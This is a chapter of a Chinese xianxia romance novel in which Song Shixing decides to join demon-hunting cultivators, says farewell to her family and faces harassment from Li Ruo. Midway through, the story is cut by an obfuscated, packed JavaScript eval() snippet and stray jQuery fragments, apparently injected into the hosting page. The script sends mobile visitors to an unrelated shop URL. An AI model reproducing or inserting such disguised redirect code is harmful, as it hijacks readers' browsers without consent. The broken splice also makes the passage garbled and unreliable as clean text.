尘珘看她脸色雨转晴又转阴,不由得有些想笑。
宋拾星眼睛一转瞧见他那般幸灾乐祸的模样,顿时气不打一处来,可转念一想自己还要倚仗这位爷的妖丹修炼,又顿时如漏了水的小舟般蔫了下去。
宋拾星心中风浪大作,骆澈与月瑶却只剩愕然。
“尘珘,你疯了?带一个凡人除妖,我们如何保证她安全?”骆澈道。
“大师兄自有大师兄的道理,你急什么?”月瑶忙着打圆场。
尘珘此时才神情严肃起来,道:“方才现实的这两只妖怪身上,都有一缕与师父尸体相似的气息,之前的诡蛙我尚且不能确定,但这气息在水妖身上又出现了一次,这绝不是巧合。”
骆澈与月瑶听到有关师父的死,立刻正色。
“你是说,师父仙去与妖有关?”
“尚不知因果,但或许可以顺藤摸瓜。”尘珘蹙起眉头,手中摩挲那泛着金白色光芒的长诀铃。
宋拾星听他们谈话,不自觉有些战栗,尘珘的师父……竟已经枉死了……
“至于宋小姐,至今现世的妖怪只有两只,却都是奔你而来,你不觉得这其中有些蹊跷吗?”他狭长的眼睛向她睨过来,墨色流转,带着几分狐疑探究。
屋外忽起大风,吹的窗户砰砰作响。
宋拾星背后发凉。
因着那个鬼怪缠身的预言,她只当自己碰见妖怪是因为倒霉,从未想过个中因果。
倘若那些妖怪真是奔她而来,那她岂非如同砧板上的鱼肉?
梦中前世被妖怪围剿的血色又浮现眼前。
既然妖怪是冲她而来,那她跟着尘珘这些修仙之人自是最好不过,她不想连累任何一个会在妖手中枉死的凡人。
房间里安静下来,似乎都在等着这位受尽宠爱的首富小女儿接受预言成真这个残忍的事实。
不过首富家的小女儿似乎没有她们想象中脆弱,至少没有哇的一声哭出来,反而语出惊人。
“既然如此,不如教我修炼,要不诡娃和水妖的妖丹给我增进灵力……哎呀我这么危险,总得自保吧。”
水灵灵的桃花眼忽闪着盯住尘珘腰间青白相间的收妖袋,随后目光上移,对上尘珘的眼睛。
“你知道的,我马上就要与家人离散,手无缚鸡之力,怎么对付那些妖怪嘛……”
尘珘撇过头去。
又是杀诡蛙又是杀水妖,若他没记错,前几日他们二人明里暗里也尽是火药,如此凶悍的一个女子怎能这般浑然天真的卖萌?
该死,那天她从树下跳下落在他怀里,耳边温热的呼吸冥冥间又冒了出来。
而且还不依不饶起来。
“尘公子,我这几日见你风姿绰约,打起架来更是凤翥龙翔,龙章凤姿,我实在心中仰慕,敬佩之至……”
“停!”宋拾星溢美之词滔滔尚未流尽,便被尘珘强烈打住,“想要给你便是。”
“真的!”宋拾星两眼放光。
“小女感激不尽,尘公子真是出手阔绰,宰相肚里能撑船……”
“再说不给。”尘珘实在是受不了。
此人说的话虚伪至极,但偏生感情饱满,再加上她那张脸上做的萌死人不偿命的表情,尘珘实在是受不了。
“……哦”
“还有两日我们便出发,你自己好好安置一下吧。”
两日……时间竟这般赶,也是,修道之人,哪里需要修养太久。
已经没有多少时间了,宋拾星回已经破掉的宋府收拾东西。
在宋府,破败的院子里唯一完好的屋子是她的闺房,里面有一个清瘦的身影在忙碌,走近一瞧,是早已在帮她收拾东西的夏至。
夏至一见宋拾星眼泪便止不住了,飞奔过去搂住宋拾星哭道:“小姐啊,我买完鲜花饼回来就听街坊邻居说宋府遭难,还好小姐没事,不然你让夏至怎么活啊,呜呜呜……”
宋拾星摸摸夏至脑袋,她从未把夏至当做下人,除了娄初容和季时屿,夏至便是她最好的朋友。
“夏至,你同我一起收拾些轻便的衣物吧,我可马上要去斩妖除魔了。”
宋拾星臭屁的语气听起来还以为是什么好事,斩妖除魔?“小姐你在开玩笑吗?我可经不起再被你吓一次了。”
“没事的,我跟着苍梧派几位道长,说不定自己也能修出一身本事呢。”她抬起胳膊,用力挤了挤并不存在的肌肉。
夏至眉毛紧紧攒起来,一脸不可置信地瞧着这位金枝玉叶的千金,“小姐,你不是说你生来就是享福的嘛,怎么自己往那个预言上撞呢?”
“嗐,我不寻妖,妖自寻我,与其敌在明我在暗,倒不如直接跟它们拼了。”宋拾星甩甩头发,端的潇洒。
夏至眼里投出几分不可置信,似乎从青山寺交手诡蛙起,眼前的小姐就如同换了个人般。
又或许,只是富贵迷了所有人的眼,她一直都如疾风劲草,对命运见招拆招。
她说要去斩妖除魔,不是戏言。
夏至又搂着宋拾星哭了起来,“小姐啊……你哪里受过这种苦啊……”
两人在房间中相商一个时辰,其实大部分时间是夏至在叮嘱宋拾星许多生活问题,零零散散收捡了为数不多的几件轻便衣裳,至于珠宝首饰,她也带上以备颠沛时拿去换钱,她可不想风餐露宿。
带着东西,两人便去往宋长名和骆媛媛选的宋府新址同他们最后一聚了。
思及次,饶是宋拾星做了再多准备,仍不免有些眼睛酸涩。
在大街上抹眼泪实在有些狼狈了,她干脆把头低了下去。
只是这一低头,便瞧见地上有个离自己越来越近的影子。
她抬眸,只见这人尖嘴猴腮,很是陌生,却又不知是在哪见过。
宋拾星眯起眼睛细细打量起这位站在自己跟前不走了的陌生人,心里有些疑惑。
“你谁啊?”宋拾星问道。
那人脸上闪过一瞬不可置信,“你连我都不认识?我可是宾州州长的长子李偌。”
李偌?她确实不认识此人。
夏至却拉起宋拾星的手就要离开,“小姐,你让我调查的在青山寺放箭栽赃之人就是他!”
宋拾星睨了一眼李偌,便同夏至一起准备绕过这人,若是平时,她多少也是要报复此人一下的,但此时她忙着要与家人相聚,这厮还排不上号。
李偌却又一次挡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967333|214553||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
住了宋拾星的去路。
“什么放箭栽赃?你这贱婢!”李偌满脸通红地指着夏至,语气激动,活脱脱被人戳破了糗事的模样。
宋拾星听这李偌说话便气不打一处来,将一脸气愤的夏至护在身后。
“你来找茬?”她瞪着李偌,不客气地问道。
谁知那李偌竟仰天大笑起来,“我这是看你宋家落难,想着你尚有几分姿色,不如来我房里当妾如何……”说着,手几乎要摸上宋拾星的脸。
宋拾星冷着脸把手拍下,在他手上留下逐渐发红的印子。
“小美人,还挺有劲儿,这哭过的眼睛倒是比平时还好看。”猥琐的嘴脸在他脸上换了又换,多看一眼都要作呕。
夏至直接骂了出来:“你这登徒子!青天白日调戏良家姑娘,亏你爹还是州长呢!”
宋拾星双手发颤,心中却已经改了主意,此人既在青山寺中栽赃于她,又在大庭广众下行如此侮辱之事,她向来不爱忍气吞声,那就让他李偌在这滨州城中彻彻底底地丢一次大脸。
“明日午时,月洒楼二楼雅间见。”
说罢,便牵着夏至绕开李偌继续向前走去了。商贩吆喝,街区热闹依旧,仿佛方才李偌对宋拾星的一番骚扰从未发生过。
走远了,夏至才问道:“小姐,你怎生还要去见那贱人?”她一双眼睛被气的通红,泪珠大颗大颗地往下掉。
宋拾星仍旧目不斜视,她只淡淡道:“我会让他付出代价。”
听不出情绪,却掷地有声。
宋长名与骆媛媛见了宋拾星又抱着她啜泣起来,又得知她要随那些个苍梧派弟子要去闯荡江湖,更是声泪俱下。
“儿啊,你说这命怎么这么苦啊……娘把你护的好好的,咱不去招惹妖怪好吗?”骆媛媛捧着她的脸,泣不成声。
宋长名却伸手将骆媛媛拉了回来,“媛媛,咱姑娘向来是个有主意的,我们得信她。”
“拾星,记得顾好自己,什么时候想回家了,就来找爹爹。”
说着说着,眼泪断了线地往下掉,本就斑驳着皱纹的脸上涕泗横流。
“我乃何人啊?放心放心。”宋拾星拍拍胸口,扬起一抹笑。
“好好好,”宋长名夫妇破涕为笑,“拾星最厉害了。”
……
宋拾星与家人一番道别后便回了尘珘他们居住的客栈,她既然是个鬼怪缠身的命数,还是别把家人往火坑里拉了。
宋长名等人哭着把她送到客栈,马车里俱是悲寥之气。
说再多也她也没法留下,宋拾星便心一横,一到地方便与他们道别,随即利落地跳下马车。
一进客栈,便看见尘珘一个人坐在一楼饭堂的桌凳上。
外面日头已经落下许久了,这也不像是饭点啊,他坐在这作甚?
总不能在等她吧。
可眼前的人一席利落地灰色劲装,高马尾随意地落在肩上,额前碎发轻轻飘动,自打她进入客栈里,便一直端着探究的目光瞧她。
恐怕真是冲她而来的。
宋拾星干脆在他对面坐下。
“怎么了?”
尘珘一手托腮,道:“需不需要我解决?”